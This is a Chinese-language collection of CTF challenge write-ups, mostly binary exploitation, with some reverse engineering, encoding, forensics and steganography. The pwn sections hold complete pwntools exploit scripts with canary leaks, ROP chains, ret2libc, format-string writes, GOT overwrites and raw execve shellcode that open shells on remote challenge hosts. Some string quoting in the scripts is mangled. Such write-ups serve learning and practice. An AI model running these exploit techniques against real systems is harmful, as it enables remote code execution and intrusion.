考点：栈溢出，canary绕过

基本情况

程序实现功能是往栈上读写数据。

保护措施

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

栈溢出

......
  while ( 1 )
  {
    menu();
    v3 = my_input();
    switch ( v3 )
    {
      case 2:
        puts(&s);
        break;
      case 3:
        return 0LL;
      case 1:
        read(0, &s, 0x100uLL);                  // 栈溢出
        break;
......

栈溢出空间还是比较大的。

思路

使用栈溢出覆盖 canary 最后一字节，读取出 canary ，成功绕过 canary 保护。

#leak canary
payload = 'a'*0x89
add(payload)
show()
p.recvuntil('a'*0x89)
#gdb.attach(p)
canary = u64('\x00'+p.recv(7))
log.success("canary:"+hex(canary))

题目没有预留后门，并提供 libc ，所以泄露 libc 调用 onegadget getshell 。泄露 libc 需要借助输出函数，即需要控制 rip 调用。

泄露 libc 还需要 rop 回到 main 执行下一步操作。

#leak libc
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
add(payload)
leave()
puts_leak=u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_leak:"+hex(puts_leak))

最后再次控制 rip 。

#get shell
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(onegadget)
add(payload)
leave()

EXP

from pwn import *

context.log_level = 'debug'

#p = process("./babystack")
p = remote("124.126.19.106",51939)
elf = ELF("./babystack")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(context):
    p.recvuntil(">> ")
    p.sendline('1')
    p.send(context)

def show():
    p.recvuntil(">> ")
    p.sendline('2')

def leave():
    p.recvuntil(">> ")
    p.sendline('3')

#leak canary
payload = 'a'*0x89
add(payload)
show()
p.recvuntil('a'*0x89)
#gdb.attach(p)
canary = u64('\x00'+p.recv(7))
log.success("canary:"+hex(canary))

#leak libc
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400a93
start_addr = 0x400720

payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(start_addr)
#gdb.attach(p)
add(payload)
leave()
puts_leak=u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_leak:"+hex(puts_leak))

libc_base = puts_leak - libc.symbols['puts']
log.success("libc_base:"+hex(libc_base))
onegadget = libc_base + 0x45216
log.success("onegadget:"+hex(onegadget))

#get shell
payload = 'a'*0x88 + p64(canary) + p64(0xdeadbeef)
payload += p64(onegadget)

add(payload)
leave()

p.interactive()

考点：数字下标溢出

保护情况：

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

漏洞函数：

puts("which number to change:");          // change
__isoc99_scanf("%d", &index);    //没有检查下标
puts("new number:");
__isoc99_scanf("%d", &num);
num_list[index] = num;

程序中找到有预留的后门函数，所以通过数组越界修改返回地址到后门。所以需要寻找 num_list 与 eip 的偏移。

寻找 eip 在栈上地址比较容易，将断点打在 main 退出前（0x080488EF），查看寄存器值：

────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
 EAX  0x0
 EBX  0x0
 ECX  0xffffcfa0 ◂— 0x1
 EDX  0xf7fb887c (_IO_stdfile_0_lock) ◂— 0x0
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 EBP  0x0
 # 返回地址在栈上位置
 ESP  0xffffcf9c —▸ 0xf7e1d637 (__libc_start_main+247) ◂— add    esp, 0x10
 EIP  0x80488f2 (main+802) ◂— 0x669066c3
────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────
 ► f 0  80488f2 main+802
   f 1 f7e1d637 __libc_start_main+247
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

写入地址在写入或者 show 操作汇编打断点，下面在录入时打断点找：

080486BD                 call    ___isoc99_scanf
080486C2                 add     esp, 10h
080486C5                 mov     eax, [ebp+num]
080486CB                 mov     ecx, eax
080486CD                 lea     edx, [ebp+num_list]//写入栈上
080486D0                 mov     eax, [ebp+var_7C]
080486D3                 add     eax, edx
080486D5                 mov     [eax], cl
080486D7                 add     [ebp+var_7C], 1

调试查看寄存器找到地址：

────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
 EAX  0x56
 EBX  0x0
 ECX  0x56
 #写入地址
 EDX  0xffffcf18 ◂— 0x45 /* 'E' */
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
 EBP  0xffffcf88 ◂— 0x0
 ESP  0xffffcee0 —▸ 0xf7ffda74 —▸ 0xf7fd5470 —▸ 0xf7ffd918 ◂— 0x0
 EIP  0x80486d0 (main+256) ◂— 0x184458b
──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
   0x80486c2 <main+242>    add    esp, 0x10
   0x80486c5 <main+245>    mov    eax, dword ptr [ebp - 0x88]
   0x80486cb <main+251>    mov    ecx, eax
   0x80486cd <main+253>    lea    edx, [ebp - 0x70]
 ► 0x80486d0 <main+256>    mov    eax, dword ptr [ebp - 0x7c]
   0x80486d3 <main+259>    add    eax, edx
   0x80486d5 <main+261>    mov    byte ptr [eax], cl
   0x80486d7 <main+263>    add    dword ptr [ebp - 0x7c], 1
   0x80486db <main+267>    mov    edx, dword ptr [ebp - 0x7c]
   0x80486de <main+270>    mov    eax, dword ptr [ebp - 0x90]
   0x80486e4 <main+276>    cmp    edx, eax

计算得出偏移：0xffffcf9c-0xffffcf18=0x84

后门函数只能本地打通，远程服务器没有 bash 指令。我就 ROP 和泄露 libc 地址了。看了大佬 wp 发现 system(sh)也能 getshell ，所以脚本如下：

完整exp：

from pwn import *

context.log_level = 'debug'
p = process("./stack2")
p = remote("124.126.19.106",42070)

def change(index,context):
    p.sendlineafter("exit",'3')
    p.sendlineafter('change',str(index))
    p.sendlineafter("number",str(context))


p.sendlineafter("have:",'2')
p.sendline(str(0x45))
p.sendline(str(0x56))

#system_plt
change(0x84+0,0x50)
change(0x84+1,0x84)
change(0x84+2,0x04)
change(0x84+3,0x08)
#gdb.attach(p)

#sh
change(0x84+8,0x87)
change(0x84+9,0x89)
change(0x84+10,0x04)
change(0x84+11,0x08)

p.sendlineafter("exit",'5')
p.interactive()

保护情况：NX 保护关闭

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

漏洞函数：存放堆指针的数组可越界存放。也就是堆指针可放置到任意地方。

int myadd()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  unsigned int chunk_size; // [rsp+Ch] [rbp-4h]

  result = dword_20209C;
  if ( dword_20209C >= 0 )
  {
    result = dword_20209C;
    if ( dword_20209C <= 11 )    //chunk上限11个
    {
      printf("index:");
      v1 = getinput();
      printf("size:");
      result = getinput();
      chunk_size = result;
      if ( result >= 0 && result <= 8 )
      {
        qword_2020A0[v1] = malloc(result);    //堆指针存放可越界
        if ( !qword_2020A0[v1] )
        {
          puts("malloc error");
          exit(0);
        }
        printf("content:");
        myread(qword_2020A0[v1], chunk_size);
        result = dword_20209C++ + 1;
      }
    }
  }
  return result;
}

程序没有 NX 保护，可以将 shellcode 存放在堆上，然后通过数组越界覆盖 got 表调用 shellcode 。

程序限制堆大小不超过 8 ，且读入数据函数会占用最后一个字节写入 \x00 。可写入空间仅有 7 ，所以需要用汇编的跳转指令 jnz short xxx ，对应的十六进制为：EB xx，其中 xx 为偏移量。偏移量计算公式为：xx = 目标地址 - 当前地址 -2

程序申请一个 size 为 8 的堆结构如下：图源

从 chunk 0 jmp 头开始计算：xx = 2+1+8+8+8-2=0x19

构造一个调用 system 函数的shellcode ，然后数组越界覆盖一个可被控制输入参数的函数，例如 atoi ，传入参数 /bin/sh\x00 。这种构造方法要最后才修改 got 表，避免修改导致程序输入函数失效。

也可以到 shell-storm 找一个直接调用 system('/bin/sh') 的shellcode 一把梭哈。

完整 exp

#encodeing:utf-8
from pwn import *

context.log_level = 'debug'
context(os='linux',arch='amd64')  
p = remote("124.126.19.106",41618)
#p = process("./note-service2")

def add(index,size,content):
    p.sendlineafter("your choice>> ",'1')
    p.sendlineafter("index:",str(index))
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def delete(index):
    p.sendlineafter("your choice>> ",'4')
    p.sendlineafter("index:",str(index))

#call system
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19') 
code1= (asm('mov eax,0x3B') + '\xeb\x19')  
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')  
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19') 
code4 = (asm('syscall').ljust(7,'\x90'))  

#system('/bin/sh')
shellcode0 = "\x01\x30\x8f\xe2" + '\x90\xeb\x19'
shellcode1 = "\x13\xff\x2f\xe1" + '\x90\xeb\x19'
shellcode2 = "\x78\x46\x0e\x30" + '\x90\xeb\x19'
shellcode3 = "\x01\x90\x49\x1a" + '\x90\xeb\x19'
shellcode4 = "\x92\x1a\x08\x27" + '\x90\xeb\x19'
shellcode5 = "\xc2\x51\x03\x37" + '\x90\xeb\x19'
shellcode6 = "\x01\xdf\x2f\x62" + '\x90\xeb\x19'
shellcode7 = "\x69\x6e\x2f\x2f" + '\x90\xeb\x19'
shellcode8 = "\x73\x68" + '\x90\x90\x90\x90\x90'

#write shellcode 
add(0,8,'a'*7)
add(1,8,code1)
add(2,8,code2)
add(3,8,code3)
add(4,8,code4)

#overwrite [email protected]
delete(0)
add(-8,8,code0)

#send /bin/sh
p.sendlineafter("your choice>> ",'/bin/sh\x00')

p.interactive()

这个栈溢出每次固定要求输入 200 个字符，也没有别的了。

ROP 操作也不需要往 bss 写入 /bin/sh ，直接在 libc 找一个就好了。（看到网上有这样的操作orz）

#encoding:utf-8
from pwn import *

context.log_level = 'debug'
context(os='linux',arch='amd64')

p = remote('124.126.19.106',35604)
#p = process("./pwn-100")
elf = ELF("./pwn-100")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

pop_rdi_ret = 0x0000000000400763
start_addr = 0x400550
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = 'a'*0x40 + p64(0xdeadbeef)
payload += p64(pop_rdi_ret) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(start_addr)
payload = payload.ljust(200,'a')

# leak [email protected]
p.send(payload)
p.recvuntil("bye~\n")
puts_leak = u64(p.recv(6).ljust(8,'\x00'))
log.success("puts_leak:"+hex(puts_leak))

#leak libc
libc_base = puts_leak - libc.symbols['puts']
log.success("libc_base:"+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success("system_addr:"+hex(system_addr))
binsh_addr = libc_base + libc.search('/bin/sh').next()
log.success("binsh_addr:"+hex(binsh_addr))

#call system('/bin/sh')
payload = 'a'*0x40 + p64(0xdeadbeef)
payload += p64(pop_rdi_ret) + p64(binsh_addr)
payload += p64(system_addr)
payload = payload.ljust(200,'a')

p.send(payload)

#gdb.attach(p)


p.interactive()

漏洞函数如下：

ssize_t sub_8048484()
{
  char buf; // [esp+1Ch] [ebp-6Ch]

  setbuf(stdin, &buf);
  return read(0, &buf, 0x100u);//溢出
}

可操作空间空间很长就不需要什么骚操作了。就是没给 libc 文件，需要去libc database 查一下而已。查到的话是这个：libc6-i386_2.23-0ubuntu11_amd64.so

完整 exp ：

from pwn import *
context.log_level = 'debug'

#p = process("./pwn")
p = remote("159.138.137.79",55989)
elf = ELF("./pwn")
libc = ELF("./libc6-i386_2.23-0ubuntu11_amd64.so")

read_plt = elf.plt['read']
read_got = elf.got['read']
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x080483D0

payload = 'a'*(0x6c+0x4)
payload += p32(write_plt) + p32(main_addr)
payload += p32(1) + p32(write_got) + p32(0x4)

p.recvuntil("!\n")
p.sendline(payload)
write_leak = u32(p.recvuntil("Welcome",drop=1))
log.success("write_leak:"+hex(write_leak))
libc_base = write_leak - libc.symbols['write']
log.success("libc_base:"+hex(libc_base))
system = libc_base + libc.symbols['system']
log.success("system:"+hex(system))
binsh = libc_base + libc.search("/bin/sh").next()
log.success("binsh:"+hex(binsh))

payload = 'a'*(0x6c+0x4)
payload += p32(system) + p32(main_addr) + p32(binsh)

p.sendline(payload)
#gdb.attach(p)
p.interactive()

考点：写入小数字格式化字符串

完整 exp ：

from pwn import *

context.log_level = ';debug';

p = remote("111.198.29.45",59528)
#p = process("./CGfsb")

pwnme = 0x0804A068
payload = "%8c%12$n" + p32(pwnme)


p.recvuntil("name")
p.sendline(';a';*0x8)
p.recvuntil("please")
p.sendline(payload)

p.interactive()

考点：栈溢出、ROP（ret2libc）

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);    //溢出
}

打开了 NX 保护栈数据不可执行，程序没有预留后门。解决办法就是 ret2libc ，这种方法在《蒸米一步一步学ROP》中有详细讲解。
第一次执行是用于泄露 libc 地址；第二次调用 system 完成 ret2libc。

完整exp

from pwn import *
from libcSearch import *

context.log_level = ';debug';

p = remote("111.198.29.45",43333)
#p = process("./level3")
elf = ELF("./level3")
libc = ELF("./libc_32.so.6")

write_plt = elf.plt[';write';]
write_got = elf.got[';write';]
main_addr = elf.symbols[';main';]

payload = ';a';*0x88+';a';*0x4
payload += p32(write_plt)+p32(main_addr)
payload += p32(1)+p32(write_got)+p32(4)

p.sendlineafter("Input:\n",payload)
write_leak = u32(p.recv()[:4])
log.success("write_leak:"+hex(write_leak))
libc_base = write_leak - libc.symbols[';write';]
log.success("libc_base:"+hex(libc_base))
system_addr = libc_base + libc.symbols[';system';]
log.success("system_addr:"+hex(system_addr))

binsh_addr = libc.search("/bin/sh").next() + libc_base
log.success("binsh_addr:"+hex(binsh_addr))

payload = ';a';*0x88+';a';*0x4
payload += p32(system_addr)+p32(0xdeadbeef)
payload += p32(binsh_addr)

p.sendline(payload)

p.interactive()

栈溢出。位置在 check_passwd strcpy ，s 最大长度为 0x199 。不能直接进行溢出，有检查 s 长度的函数，设想是限定在 4~8 。重点在于 s 的长度存储变量使用的是 unsigned int 类型，也就是最大长度为 255 （2的8次方-1）。

要绕过这个限制才能溢出控制 eip 。绕过方法很简单，这个变量存储单元是 8 位，如果长度为 256 的话，程序就认为长度为 0 。因为 256 的二进制是 0b100000000 ，低八位为 0b00000000 。

char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);    //溢出
  }
  return result;
}

exp

from pwn import *

context.log_level = ';debug';

p = remote(';111.198.29.45';,30389)
#p = process("./int")
what_is_this = 0x0804868B

payload = ';a';*0x14
payload += ';a';*0x4
payload += p32(what_is_this)
payload = payload.ljust(256+6,';b';)

p.sendlineafter(';choice:';,';1';)
p.sendlineafter(';username:';,';author_skye';)
p.recvuntil(';passwd:';)
p.send(payload)

p.interactive()

考察点：利用栈溢出固定随机数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v6; // [rsp+Ch] [rbp-34h]
  char v7; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  v4 = 0;
  v6 = 0;
  *(_QWORD *)seed = sub_BB0();
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:", 0LL);
  gets((__int64)&v7);                            //栈溢出
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )                    // 连续正确10次
  {
    v6 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v4);
    puts("---------------------------------");
    if ( v4 != v6 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }
  sub_C3E();
  return 0LL;
}

由于题目开启 Canary 不能直接控制 eip ，观察栈空间发现 v7 位于 seed 前面。

-000000000000003C var_3C          dd ?
-0000000000000038 var_38          dd ?
-0000000000000034 var_34          dd ?
-0000000000000030 v7              db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
                        …………
                        …………
-0000000000000010 seed            dd 2 dup(?)
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

随机数的随机性是基于 seed 种子，当固定 seed 时，实际上生成的是伪随机数，也就是一个固定的值。这道题几时利用 gets 造成栈溢出覆盖 seed 固定生成随机数，配合 ctypes 库实现 python、c 混合编程。

完整exp：

#!usr/bin/python
#coding=utf-8
from pwn import *
from ctypes import *

context.log_level = ';debug';

p = remote("111.198.29.45",57280)
#p = process(';./b59204f56a0545e8a22f8518e749f19f';)


libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a" * 0x20 + p64(1)
p.recvuntil(';Your name:';)
p.sendline(payload)
libc.srand(1)

for _ in range(10):
    num = str(libc.rand()%6+1)
    p.recvuntil(';number:';)
    p.sendline(num)

p.interactive()

考点：格式化字符串任意地址写小数

题目前面有几个条件循环绕过，反编译就能看出，不再赘述。看漏洞函数：

unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch]
  __int64 v2; // [rsp+8h] [rbp-78h]
  char format; // [rsp+10h] [rbp-70h]
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That';s odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf((__int64)"%d", (__int64)&v1);
  if ( v1 == 1 )
  {
    puts("A voice heard in your mind");
    puts("';Give me an address';");
    _isoc99_scanf((__int64)"%ld", (__int64)&v2);
    puts("And, you wish is:");
    _isoc99_scanf((__int64)"%s", (__int64)&format);
    puts("Your wish is")


;
    printf(&format, &format);                   // 格式化字符串漏洞
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}

可控制的第一个参数是在 18 行，偏移为 7 。这里利用方式有多种，利用偏移 7 和 8 控制任意写入，也可只利用偏移 8 任意输入。（exp 使用偏移 7 和 8）

修改 v3 值后，绕过最后一个障碍。然后写入一段 shellcode 即可。shellcraft 生成的没有效果，就去 http://shell-storm.org/ 找了一个。

完整 exp ：

from pwn import *

context.log_level = ';debug';

p = remote("111.198.29.45",48602)
#p = process("./string")

p.recvuntil("secret[0] is ")
v3 = int(p.recvuntil(';\n';,drop=True),16)
log.success("v3:"+hex(v3))

p.recvuntil("secret[1] is ")
v3_1 = int(p.recvuntil(';\n';,drop=True),16)
log.success("v3_1:"+hex(v3_1))

#payload = "aaaaaaaa%p%p%p%p%p%p%p%p%p"
#offset = 7
payload = "%85c%7$n"

p.recvuntil("name")
p.sendline(';a';*0xc)

p.recvuntil("up?:")
p.sendline("east")

p.recvuntil("leave(0)?:")
p.sendline(str(1))

p.recvuntil("address")
p.sendline(str(v3))

p.recvuntil("is:")
p.sendline("%85c%7$n")

#shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"

p.recvuntil("USE YOU SPELL")
p.sendline(shellcode)

p.interactive()

考点：手撕算法

部分函数名已重命名，懒得再找一份原题QAQ

开门见山，mainactivity 就能找到加密算法入口。函数将输入值剔除flag{} ，然后传入加密函数。

private static Boolean b(String string) {  // 结尾}
    Boolean result;
    int index = 0;
    if(!string.startsWith("flag{")) {  // 开头flag{
        result = Boolean.valueOf(false);
    }
    else if(!string.endsWith("}")) {
        result = Boolean.valueOf(false);
    }
    else {
        String string_1 = string.substring(5, string.length() - 1);  // 分割字符串去除flag{}
        Mb v4 = new Mb(Integer.valueOf(2));
        Ma v5 = new Ma(Integer.valueOf(3));
        StringBuilder c_string = new StringBuilder();
        int v1 = 0;
        while(index < string_1.length()) {
            c_string.append(MainActivity.a(string_1.charAt(index) + "", v4, v5));    //加密函数
            Integer v6 = Integer.valueOf(v4.b().intValue() / 25);
            if(v6.intValue() > v1 && v6.intValue() >= 1) {
                ++v1;
            }

            ++index;
        }

        result = Boolean.valueOf(c_string.toString().equals("wigwrkaugala"));
    }

    return result;
}

加密函数有两层最后调用为：

private static char a(String string, Mb b, Ma a) {
    return a.a(b.a(string));
}

a b 加密逻辑大致一样，处理对象都是单字符，进行混淆后，对密钥进行更新。

b 加密函数主要如下：（忽略处理空格和字符不存在情况）

Mb.key_list = "abcdefghijklmnopqrstuvwxyz";
public Integer a(String string) {
    int v0 = 0;
    Integer v1 = Integer.valueOf(0);
    if(Mb.key_list.contains(string.toLowerCase())) {  // 转为小写，然后查询在不在key中
        Integer index = Integer.valueOf(Mb.key_list.indexOf(string));
        while(v0 < Mb.a_ArrayList.size() - 1) {
            if(Mb.a_ArrayList.get(v0) == index) {
                v1 = Integer.valueOf(v0);
            }

            ++v0;
        }
    }
…………
    Mb.a();
    return v1;
}

加密操作为：检索字符在keylisit的下标，记为index，然后检索index在a_ArrayList的下标，记为v1，检索成功就调用Mb.a()生成新的密钥keylist和a_ArrayList，然后返回v1。

a_ArrayList不是一个静态变量，是经由public Mb(Integer arg9)生成的，一开始以为动态生成的，然后动态调试了一下，发现是第一次调用时生成好了，后续字符加密沿用上一字符密钥。生成的偏移为 2 。

Mb.a()处理逻辑就是：每一轮加密完成后，将两个密钥的首元素放置到最后一位。

public static void a() {
    int v0 = Mb.a_ArrayList.get(0).intValue();
    Mb.a_ArrayList.remove(0);
    Mb.a_ArrayList.add(Integer.valueOf(v0));  // 将列表首个元素放到最后
    Mb.key_list = Mb.key_list + "" + Mb.key_list.charAt(0);
    Mb.key_list = Mb.key_list.substring(1, 27);  // 将列表首个元素放到最后
    Mb.d = Integer.valueOf(Mb.d.intValue() + 1);  // 某个计算位加1
}

a.a(b.a(string)) b 函数加密完成后，返回值作为参数传入 a ，加密方式与 b 相近，较大不同点是每轮加密不会随机化密钥，密钥初始偏移为 3 。因为从最后判断函数可知 flag 中间字符为 12 位，不足以触发 a 随机化密钥函数要求。

解密EXP

from collections import deque # 双端队列简化随机密钥实现
alpha = deque("abcdefghijklmnopqrstuvwxyz") 
#key_b = deque([8, 25, 17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13]) 
#key_a = deque([7, 14, 16, 21, 4, 24, 25, 20, 5, 15, 9, 17, 6, 13, 3, 18, 12, 10, 19, 0, 22, 2, 11, 23, 1, 8])
key_b = deque([17, 23, 7, 22, 1, 16, 6, 9, 21, 0, 15, 5, 10, 18, 2, 24, 4, 11, 3, 14, 19, 12, 20, 13, 8, 25])
key_a = deque([21, 4, 24, 25, 20, 5, 15, 9, 17, 6, 13, 3, 18, 12, 10, 19, 0, 22, 2, 11, 23, 1, 8, 7, 14, 16])
c = 'wigwrkaugala'

def decode(s): 
    i = key_a[(ord(s) - ord('a'))]
    i = key_b[(i)] 
    print(alpha[i], end='')
    key_b.append(key_b.popleft()) 
    alpha.append(alpha.popleft())

print("flag{",end='')
for s in c: decode(s)
print("}")

提交 flag 后看评论区好像题目有多解。

给出文本：8842101220480224404014224202480122。查看资料后，得出 0 是分解符。分界后各个数字相加后 -1 为与 A 的 ascii 码偏移。（ps：怎么感觉有点像是 8421 码）

#encoding:utf-8
# python3

#解密字符
c = ';8842101220480224404014224202480122';

def decode(c):
    c = c.split(';0';)#分割
    print(c)    
    for i in c:
        a = 0
        for j in i:
            a += int(j)
        print(chr(a+ord(';A';)-1),end=';';)

if __name__ == ';__main__';:
    decode(c)

题目提示是 Linux 系统镜像，首先反应是内存取证，然后使用 volatility 无法挂载。于是另寻方法，发现使用 IDA 32 位能成功打开，然后是查找字符串 shift+f12 ，因为内存镜像中的字符串也是可以被 IDA 读取的。加载字符串后，搜索 flag 发现 flag.txt 文件地址： O7avZhikgKgbF/flag.txt 。

然后就是怎么提取文件，正常情况下是用 volatility dump 命令，问题是现在加载不了。我采取用将其挂载到 Linux 虚拟机上。

#创建挂载文件夹
mkdir ext3
#挂载
mount f1fc23f5c743425d9e0073887c846d23 ext3
#取消挂载
#umount ext3
cat O7avZhikgKgbF/flag.txt

当然也可以不用 IDA 分析，直接挂载后搜索 find / -name flag.txt

base64 隐写题目。隐写原理来自tr0y：

隐写原理
注意红色的 0, 我们在解码的时候将其丢弃了, 所以这里的值不会影响解码. 所以我们可以在这进行隐写.
为什么等号的那部分 0 不能用于隐写? 因为修改那里的二进制值会导致等号数量变化, 解码的第 1 步会受影响. 自然也就破坏了源字符串.
而红色部分的 0 是作为最后一个字符二进制的组成部分, 还原时只用到了最后一个字符二进制的前部分, 后面的部分就不会影响还原.
唯一的影响就是最后一个字符会变化. 如下图

如果你直接解密’VHIweQ==’与’VHIweR==’, 得到的结果都是’Tr0y’.

当然, 一行 base64 顶多能有 2 个等号, 也就是有 2*2 位的可隐写位. 所以我们得弄很多行, 才能隐藏一个字符串, 这也是为什么题目给了一大段 base64 的原因.
接下来, 把要隐藏的 flag 转为 8 位二进制, 塞进去就行了.

加密脚本

# -*- coding: cp936 -*-
import base64
flag = ';Tr0y{Base64isF4n}'; #flag
bin_str = ';';.join([bin(ord(c)).replace(';0b';, ';';).zfill(8) for c in flag])
base64chars = ';ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
with open(';0.txt';, ';rb';) as f0, open(';1.txt';, ';wb';) as f1: #';0.txt';是明文, ';1.txt';用于存放隐写后的 base64
    for line in f0.readlines():
        rowstr = base64.b64encode(line.replace(';\n';, ';';))
        equalnum = rowstr.count(';=';)
        if equalnum and len(bin_str):
            offset = int(';0b';+bin_str[:equalnum * 2], 2)
            char = rowstr[len(rowstr) - equalnum - 1]
            rowstr = rowstr.replace(char, base64chars[base64chars.index(char) + offset])
            bin_str = bin_str[equalnum*2:]
        f1.write(rowstr + ';\n';)

解密脚本

# -*- coding: cp936 -*-
b64chars = ';ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
with open(';1.txt';, ';rb';) as f:
    bin_str = ';';
    for line in f.readlines():
        stegb64 = ';';.join(line.split())
        rowb64 =  ';';.join(stegb64.decode(';base64';).encode(';base64';).split())
        offset = abs(b64chars.index(stegb64.replace(';=';,';';)[-1])-b64chars.index(rowb64.replace(';=';,';';)[-1]))
        equalnum = stegb64.count(';=';) #no equalnum no offset
        if equalnum:
            bin_str += bin(offset)[2:].zfill(equalnum * 2)
        print ';';.join([chr(int(bin_str[i:i + 8], 2)) for i in xrange(0, len(bin_str), 8)]) #8 位一组

分组字节流查询字符串 flag.txt 发现有结果

将流量包用 foremost 分析出压缩包 00002778.zip ，需密码才能解压 flag.txt ，继续查询流量，发现有 6666.jpg

右键跟踪 tcp 流量，点击 save as 保存数据，用文本编辑器打开，将 FFD8 jpg 文件头前数据删除，以及最后一个 FFD9 后面数据删除，全选复制。

用 winhex 或者 010editor 新建一个空白文件，以 ascii-hex 写入数据，并保存为 jpg ，获得解压密码。